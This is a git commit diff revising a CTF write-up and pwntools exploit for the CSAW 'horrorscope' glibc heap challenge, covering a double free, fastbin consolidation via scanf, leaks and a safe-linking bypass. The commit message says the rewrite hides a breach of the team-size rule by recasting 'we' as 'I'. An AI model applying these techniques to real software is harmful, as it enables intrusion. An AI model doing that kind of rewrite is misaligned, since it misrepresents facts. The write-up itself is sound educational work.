Uh-oh, let's be careful

Maybe it's not a good idea to clearly state that we did not abide by the
rules...
(The team should be composed of only 4 people)
This commit is contained in:
Tito Sacchi 2021-11-17 09:46:17 +01:00 committed by Tito Sacchi
parent b4db72d40d
commit 169d050bd0
2 changed files with 59 additions and 72 deletions

View File

@ -6,13 +6,15 @@ tags: ctf, pwn, heap, csaw
---
We found this heap exploitation challenge quite difficult because it took a
while for us to discover that in some cases glibc consolidates fastbin chunks.
Even after that, we had a hard time figuring out how to use this to write the
exploit -- our final script was unnecessarily complex and performed two
different consolidations, because our planned attack was very different from the
one we used in the end. I'm going to explain a simpler and cleaner version that
I wrote after the CTF ended. I will give detailed explanations only of the
I worked on this challenge as an exercise after those from our team who
participated in the CTF told me that it would be a nice journey through unusual
glibc malloc internals. I found this heap exploitation challenge quite difficult
because at first glance I had no idea how to solve it; it really took me some
time to discover that in some cases glibc consolidates fastbin chunks. Even
after that, I had a hard time figuring out how to use this to write the exploit
-- the final script was unnecessarily complex and performed two different
consolidations. I'm going to explain a simpler and cleaner version that I put up
while writing the writeup. I will give detailed explanations only of the
functions and memory structures that are more relevant for the exploit.
Files: [horrorscope](/resources/horrorscope/horrorscope),
@ -22,15 +24,14 @@ Files: [horrorscope](/resources/horrorscope/horrorscope),
## Step 0: setup
The challenge uses a very recent glibc (2.34) and runs on Ubuntu 21.10. The
provided Dockerfile used xinetd and configuration files were missing, so we
provided Dockerfile used xinetd and configuration files were missing, so I
replaced it with socat and launched the challenge with docker-compose.
Unfortunately even after installing `libc6-dbg` in the container, debug symbols
weren't loaded in GDB and I couldn't use pwngdb heap commands. In the end we
worked directly on the laptop of one of us that was running 21.10 natively. I
got debugging symbols to work while cleaning up the exploit by copying the
entire `/usr/lib/debug` directory from the container to the host and passing
`set debug-file-directory ...` to GDB.
weren't loaded in GDB and I couldn't use pwngdb heap commands. I got debugging
symbols to work while cleaning up the exploit by copying the entire
`/usr/lib/debug` directory from the container to the host and passing `set
debug-file-directory ...` to GDB.
## Step 1: looking for vulnerabilities
@ -138,9 +139,9 @@ pwndbg> x/20gx 0x000055555555b380
┗━━→ points back to the entry in c
```
Actually, I spent some time trying to convincing my teammates that this is _not_
a linked list, it's just some kind of contiguous and uselessly redundant array
of pointer to buffers. Someone told me my problem is that I think in Haskell :)
Actually, this is _not_ a linked list, it's just some kind of contiguous and
uselessly redundant array of pointers to buffers. Well, someone told me my
problem is that I think in Haskell even when I shouldn't :)
We can store at most 33 cookies in `c`, and if we ask for a fortune cookie when
the list is full, `delete_cookie` is called. This function is quite hard to
@ -151,11 +152,11 @@ Assuming `idx` (in the range `0..32`) is the cookie to delete, it basically
checks the invariants `c[idx].this->my_entry == &c[idx]`, `c[idx+1].bck ==
c[idx].this`, `c[idx].bck == c[idx-1].this`, `c[idx].bck != c[idx].this`.
Then, `delete_cookie` `free()`s the `cookie_fortune` at `c[idx].this` and
then shifts all the entries in the range `(idx+1)..32` backwards by 1 in `c`.
It does so with an complex while loop with some special cases for cookie 0 and
cookie 32. However, it has a serious flaw: it does not overwrite `c[idx].this`!
This is the main vulnerability that will allow us to have a double free.
Then, `delete_cookie` `free()`s the `cookie_fortune` at `c[idx].this` and then
shifts all the entries in the range `(idx+1)..32` backwards by 1 in `c`. It does
so with an complex while loop with some special cases for cookie 0 and cookie
32. However, it has a serious flaw: it does not overwrite `c[idx].this`! This is
the main vulnerability that will allow us to have a double free.
Let me explain in more detail. Consider the memory dump above, and suppose we
went on filling the list until the end. After `delete_cookie()` has deleted
@ -227,28 +228,28 @@ option 1 (`ask_8ball`) writes `Oh Magic 8 Ball, ` (17 bytes) in the buffer right
before our input, and other functions don't allocate chunks of the same size as
`get_cookie`.
We spent a few hours looking at the pseudocode without any idea. I suggested
that if we could consolidate the fastbins maybe we could find a way to corrupt
the chunk pointers; however, none of us -- even the most experienced -- thought
that fastbins could be consolidated. But while reading the glibc sources in
total despair, we discovered that there is a specific function inside `malloc.c`
that does exactly this: `malloc_consolidate`. We tried to call it directly from
GDB and it did exactly what we expected.
I spent a few hours looking at the pseudocode without any idea. I thought that
if I could consolidate the fastbin chunks maybe I could find a way to corrupt
the chunk pointers; however, someone taught me that fastbins get _never_
consolidated... But while reading the glibc sources in total despair, I
discovered that there is a specific function inside `malloc.c` that does exactly
this: `malloc_consolidate`. `call malloc_consolidate(&main_arena)` in GDB did
exactly what I expected.
We had to find a way to trigger the call to `malloc_consolidate()` that occurs
I had to find a way to trigger the call to `malloc_consolidate()` -- it occurs
quite rarely in the ptmalloc allocator. It turned out that the easiest way to do
that was issuing a largebin-sized allocation request to `malloc()`: see
that is to issue a largebin-sized allocation request to `malloc()`: see
[`malloc/malloc.c`:3852 in glibc 2.34](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=e065785af77af72c17c773517c15b248b067b4ad;hb=ae37d06c7d127817ba43850f0f898b793d42aea7#l3837).
However we have no control over the size of the chunks allocated by the
application and the largest one is smallbin-sized (`malloc(0x390)` in `oracle`).
How could we `malloc()` more than 0x400?
How can we `malloc()` more than 0x400?
Well, this is the trick that one of us suggested: some internal libc functions
use `malloc` and `free` internally, and `scanf` is one of them. And... the
Well, this is the trick that I came up with: some internal libc functions use
`malloc` and `free` internally, and `scanf` is one of them. And... the
application is reading the user's choices at the menu using `scanf()`! So
sending a very large payload at the menu could trigger `malloc_consolidate()`.
We were right: sending 1024 `'5'`s successfully consolidated the fastbins.
sending a very large payload at the menu could trigger `malloc_consolidate()`. I
was right: sending 1024 `'5'`s successfully consolidated the fastbins.
## Step 3: implementing the exploit
@ -264,11 +265,11 @@ the bug explained above; we will still be able to edit its contents with
We will use fastbin corruption to overwrite an address stored at `.data + 0x30`
that points to the string `"./oracle.txt"`. This address is passed as a
parameter to `open()` in `oracle` (option 6). I mean, why would you want to put
a pointer to a static string in a R/W memory segment? It's meant to be pwned! We
will overwrite this pointer with the address of `"./flag.txt"`. Choosing option
6 will print a random line from `./flag.txt`!
a pointer to a static string in a R/W memory segment? It's surely meant to be
pwned! We will overwrite this pointer with the address of `"./flag.txt"`.
Choosing option 6 will print a random line from `./flag.txt`!
I will comment [our exploit](/resources/horrorscope/exploit.py)
I will comment [the exploit](/resources/horrorscope/exploit.py)
step by step (omitting utility functions for brevity).
Firstly we fill the tcache for chunks of size 0x20, because the only chunk we
@ -296,6 +297,7 @@ Now we will fill the tcachebin for size 0x80 in the exact same way as above:
`create_cookie()` uses `calloc()` internally. Note that we can't just free
cookies 0, 1, 2, ... because list corruption will be detected, so we free
cookies 1, 3, 5, ...
```python
for i in range(7):
delete_cookie(2*i + 1)
@ -332,12 +334,12 @@ heap_base = read_heap_leak(1)
```
We also need a leak of the program load address, because it is PIE and we will
need this leak to know where `.data` is in memory. Remember that each
`struct cookie_fortune` contains a pointer to its own entry in `c`: `free()`d
cookie fortune buffers still contain it. We will allocate a 0x70-sized buffer
with `ask_8ball` where there was a `cookie_fortune` and we will fill the chunk
until offset 0x68. When printing it, we will receive 0x68 bytes (our input)
followed by the address of an entry in `c`.
need this leak to know where `.data` is in memory. Remember that each `struct
cookie_fortune` contains a pointer to its own entry in `c`: `free()`d cookie
fortune buffers still contain it. We will allocate a 0x70-sized buffer with
`ask_8ball` where there was a `cookie_fortune` and we will fill the chunk until
offset 0x68. When printing it, we will receive 0x68 bytes (our input) followed
by the address of an entry in `c`.
```python
# Will pick up first available chunk in the tcachebin, i.e. cookie 13
@ -394,8 +396,8 @@ protect_mask = (heap_base >> 12) + 1
update_lucky_number(p64(protect_mask ^ (section_data_address + 0x20)))
```
We still have to consume one fastbin still with `get_lucky_num` and then we will overwrite
the target pointer without messing up the next quadword.
We still have to consume one fastbin still with `get_lucky_num` and then we will
overwrite the target pointer without messing up the next quadword.
```python
get_lucky()
@ -405,8 +407,7 @@ sign(p64(flag_txt) + b'\x0b')
Now if you choose option 6 for a few times at the menu you will read a random
line from `./flag.txt`!
Many thanks to Gabriele Digregorio who wrote the final exploit at 4 A.M. in the
morning and the messy writeup on Sunday and to Lorenzo Binosi who noticed
`malloc_consolidate()` in the glibc sources!
Many thanks to Gabriele Digregorio who wrote the exploit with me and to Lorenzo
Binosi (whose unmatched heap exploitation lessons missed `malloc_consolidate`)!
[comment]: # vim: ts=2:sts=2:sw=2:et:nojoinspaces:tw=80

View File

@ -5,8 +5,6 @@ context.arch = 'amd64'
context.bits = 64
context.terminal = ["tmux", "splitw", "-h"]
sleepy = 0.2
def create_ball(content):
r.sendline(b'1')
r.recvuntil(b'magic 8 ball')
@ -26,7 +24,6 @@ def create_cookie():
def delete_cookie(idx):
r.sendline(b'2')
r.recvuntil(b'Please choose one to delete\n')
sleep(sleepy)
r.sendline(str(idx).encode())
r.recvuntil(b'-----------------------------------------')
@ -37,13 +34,10 @@ def create_lucky_number():
def update_lucky_number(content):
r.sendline(b'8')
sleep(sleepy)
r.recvuntil(b'[Y/N]')
r.sendline(b'Y')
sleep(sleepy)
r.recvuntil(b'number')
r.sendline(content)
sleep(sleepy)
def delete_lucky_number():
r.sendline(b'8')
@ -55,7 +49,6 @@ def delete_lucky_number():
def read_binary_leak(idx):
r.sendline(b'4')
r.recvuntil(b'Please enter a fortune index\n > ')
sleep(sleepy)
r.sendline(str(idx).encode())
r.recvuntil(b' ')
r.recv(104)
@ -66,7 +59,6 @@ def read_binary_leak(idx):
def read_heap_leak(idx):
r.sendline(b'4')
r.recvuntil(b'Please enter a fortune index\n > ')
sleep(sleepy)
r.sendline(str(idx).encode())
r.recvuntil(b' ')
s = r.recv(5) + b'\x00\x00\x00'
@ -75,31 +67,25 @@ def read_heap_leak(idx):
def sign(payload):
r.sendline(b'0')
sleep(sleepy)
r.recvuntil(b'sign')
r.sendline(payload)
sleep(sleepy)
r.recvuntil(b'-----------------------------------------')
def get_lucky():
r.sendline(b'7')
sleep(sleepy)
r.recvuntil(b'name')
r.sendline(b'aaa')
r.recvuntil(b'-----------------------------------------')
if args.REMOTE:
r = connect("pwn.chal.csaw.io", 5010)
r = connect("127.0.0.1", 2050) # Docker instance
if args.NOGDB:
log.info('Skipping debugger')
else:
r = connect("127.0.0.1", 2050) # Docker instance
if args.NOGDB:
log.info('Skipping debugger')
else:
gdb.debug(['./horrorscope'], '''
set debug-file-directory /home/tito/csaw/horrorscope/dbginfo
''')
log.info("Attach debugger to process running in Docker")
ui.pause()
gdb.debug(['./horrorscope'], '''
set debug-file-directory /home/tito/csaw/horrorscope/dbginfo
''')
log.info("Attach debugger to process running in Docker")
ui.pause()
r.recvuntil(b'-----------------------------------------')